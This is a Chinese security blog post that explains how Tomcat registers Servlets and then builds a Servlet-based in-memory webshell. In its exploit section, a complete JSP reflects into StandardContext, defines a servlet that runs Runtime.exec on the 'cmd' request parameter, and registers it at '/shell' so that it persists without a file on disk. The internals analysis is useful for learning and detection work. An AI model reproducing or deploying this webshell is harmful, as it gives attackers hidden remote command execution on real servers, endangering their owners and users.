首页 > 系统相关 >JAVA内存马之Servlet马

JAVA内存马之Servlet马

时间:2022-12-31 19:35:09浏览次数:37  
标签:loadOnStartup JAVA Tomcat Servlet wrapper 内存 StandardContext servlet

0x01前置知识

我们知道的Tomcat创建Servlet的过程分为五部

  1. 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
  2. 初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
  3. 处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
  4. 销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
  5. 卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作

所以我们的内存马要写到service这个地方才方便我们调用,有了前面两个内存马的学习,servlet内存马跟两个内存马也大同小异,所以这里我们就大概的看一下一些重要的不同的地方

0x02创建过程分析

在Tomcat的机制中我们知道三件套加载的顺序是Listener-----filter-----servlet这样的加载机制,确定一下吧,把断点打在init这个点

image-20221231124508323

从service进来会看到有很多Filter的处理

还是去从init去调试

image-20221231131735411

跟进来第一步就看到了以前很熟悉的东西standardWrapper这个东西我们前面看到的StandardContext,然后后面流程很长还是去更了一些Filter的流程

我们直接去StandardContext里面去看一下关于Servlet的创建吧不去看中间的流程了

image-20221231134048479

最终通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数

然后通过configureContext(webXml)方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象

最后通过addServletMappingDecoded()方法添加Servlet对应的url映射 private void configureContext(WebXml webxml) {
        // As far as possible, process in alphabetical order so it is easy to
        // check everything is present
        // Some validation depends on correct public ID
        context.setPublicId(webxml.getPublicId());
 
...   //设置StandardContext参数
 
        
        for (ServletDef servlet : webxml.getServlets().values()) {
 
            //创建StandardWrapper对象
            Wrapper wrapper = context.createWrapper();
 
            if (servlet.getLoadOnStartup() != null) {
 
                //设置LoadOnStartup属性
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
 
            //设置ServletName属性
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
 
            //设置ServletClass属性
            wrapper.setServletClass(servlet.getServletClass());
            ...
            wrapper.setOverridable(servlet.isOverridable());
 
            //将包装好的StandWrapper添加进ContainerBase的children属性中
            context.addChild(wrapper);
 
           for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
          
            //添加路径映射
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }
        }
        ...
    }

最后通过addServletMappingDecoded()方法添加Servlet对应的url映射

然后依次加载完Listener、Filter后,就通过loadOnStartUp()方法加载wrapper

    public boolean loadOnStartup(Container children[]) {
 
        // Collect "load on startup" servlets that need to be initialized
        TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
        for (Container child : children) {
            Wrapper wrapper = (Wrapper) child;
            int loadOnStartup = wrapper.getLoadOnStartup();
 
            //判断属性loadOnStartup的值
            if (loadOnStartup < 0) {
                continue;
            }
            Integer key = Integer.valueOf(loadOnStartup);
            ArrayList<Wrapper> list = map.get(key);
            if (list == null) {
                list = new ArrayList<>();
                map.put(key, list);
            }
            list.add(wrapper);
        }
 
        // Load the collected "load on startup" servlets
        for (ArrayList<Wrapper> list : map.values()) {
            for (Wrapper wrapper : list) {
                try {
                    wrapper.load();
                }

中间有些的流程有些多我自己也是大概的去理解了一下流程,可能有不对的地方我就不写出来了哈哈哈哈

但是我们总共Servlet内存马创建的流程代码大概是这样

  1. 获取StandardContext对象
  2. 编写恶意Servlet
  3. 通过StandardContext.createWrapper()创建StandardWrapper对象
  4. 设置StandardWrapper对象的loadOnStartup属性值
  5. 设置StandardWrapper对象的ServletName属性值
  6. 设置StandardWrapper对象的ServletClass属性值
  7. StandardWrapper对象添加进StandardContext对象的children属性中
  8. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射

这里的刚刚没提的loadOnStartup对象有一个判断点吧

//判断属性loadOnStartup的值
            if (loadOnStartup < 0) {
                continue;
            }

有师傅说这是因为tomcat的懒加载机制:这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。

0x03EXP编写

循环获取StandardContext

<%
    //循环获取StandContext
    ServletContext servletContext = request.getServletContext();
    StandardContext o = null;
    while (o == null) {
        Field field = servletContext.getClass().getDeclaredField("context");
        field.setAccessible(true);
        Object o1 = field.get(servletContext);

        if (o1 instanceof ServletContext) {
            servletContext = (ServletContext) o1;
        } else if (o1 instanceof StandardContext) {
            o = (StandardContext) o1;
        }
    }

%

编写一个Servlet

<%!

    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }

%>

创建Wrapper对象

<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();

    Wrapper wrapper = o.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>

将Wrapper添加进StandardContext

<%
    o.addChild(wrapper);
    o.addServletMappingDecoded("/shell",name);
%>

组合起来就是一个完整的jsp了

0x04小结

Servlet内存马呢很有缺陷必须要访问对应的URL才能触发,成成功触发命令、

image-20221231191401732

标签:loadOnStartup,JAVA,Tomcat,Servlet,wrapper,内存,StandardContext,servlet
From: https://www.cnblogs.com/0x3e-time/p/17017131.html

相关文章

  • Java-常用API(String、ArrayList) 7-笔记
    什么是api?全称应用程序编程接口,就是Java自己写好的程序,给程序员调用的,方便完成一些功能的。API文档程序使用说明书String是什么?String是字符串类型,它定义的变量可以指向一......
  • Java9模块系统常见错误
    官方Jigsaw模块系统文档java命令,具体可用参数使用java--help。用法:java[options]<主类>[args...](执行类)或java[options]-jar<jar文件>[args...](执行jar......
  • 计挑-国赛-Java-题5
    测试用例1:5P1->P3P2->P4P4->P1P3->P5P1输出1:P23测试用例2:8P3->P5P5->P2P4->P3P2->P6P1->P7P6->P8P8->P1P6输出2:P45没做出来,但是事后慢慢做出......
  • java开发社区活动预约系统
    简介本系统主要是社区活动预约系统网站,社区管理员可以发布活动,社区居民和游客均可进行活动预约,管理员后台审核预约是否通过,居民可以填写活动感受,管理员查看感受后可以进行......
  • java开发机动车考试驾照考试-科一科四考试在线题库系统
    简介本系统主要是进行科一科四考试和练习的网上考试系统,分为A1B1、A2B2、C1C2的科一科四考试系统,当学员点击开始考试,系统将自动生成随机题目100道(选择题80道,判断题20道)的......
  • java开发的医院体检预约系统
    简介体检项目预约网站,普通用户注册登录可以网上预约体检项目,经过后台人员审核后可以去体检。用户还可以记录自己的身体指标下载体检报个,查看医嘱等。医院后台可以进行权限......
  • java开发的美妆化妆品电商商城系统
    简介Java基于ssm(可以转springboot项目哦)开发的美妆商城系统,主要是卖化妆品的系统,用户可以浏览商品,加入购物车,下单,在个人中心管理自己的订单。管理员可以管理自己的商品,......
  • Java财务在线咨询网站系统财务咨询网
    简介财务咨询网站,可以咨询公司代办,代理记账等一系列的财务问题的资讯服务网站演示视频https://www.bilibili.com/video/BV1T54y1H7Ar/?share_source=copy_web&vd_source......
  • java不常用的api
    集合转换成数组--打印数组LinkedList<String>linkedList=newLinkedList<>();linkedList.add("京");linkedList.add("津");linkedList.add("黑");String[]array=link......
  • 搭建web自动化环境,selenium-Java+火狐浏览器+idea
    1、准备浏览器,火狐/谷歌等2、下载驱动插件火狐插件链接:https://github.com/mozilla/geckodriver/releases谷歌插件:https://registry.npmmirror.com/binary.html?path=ch......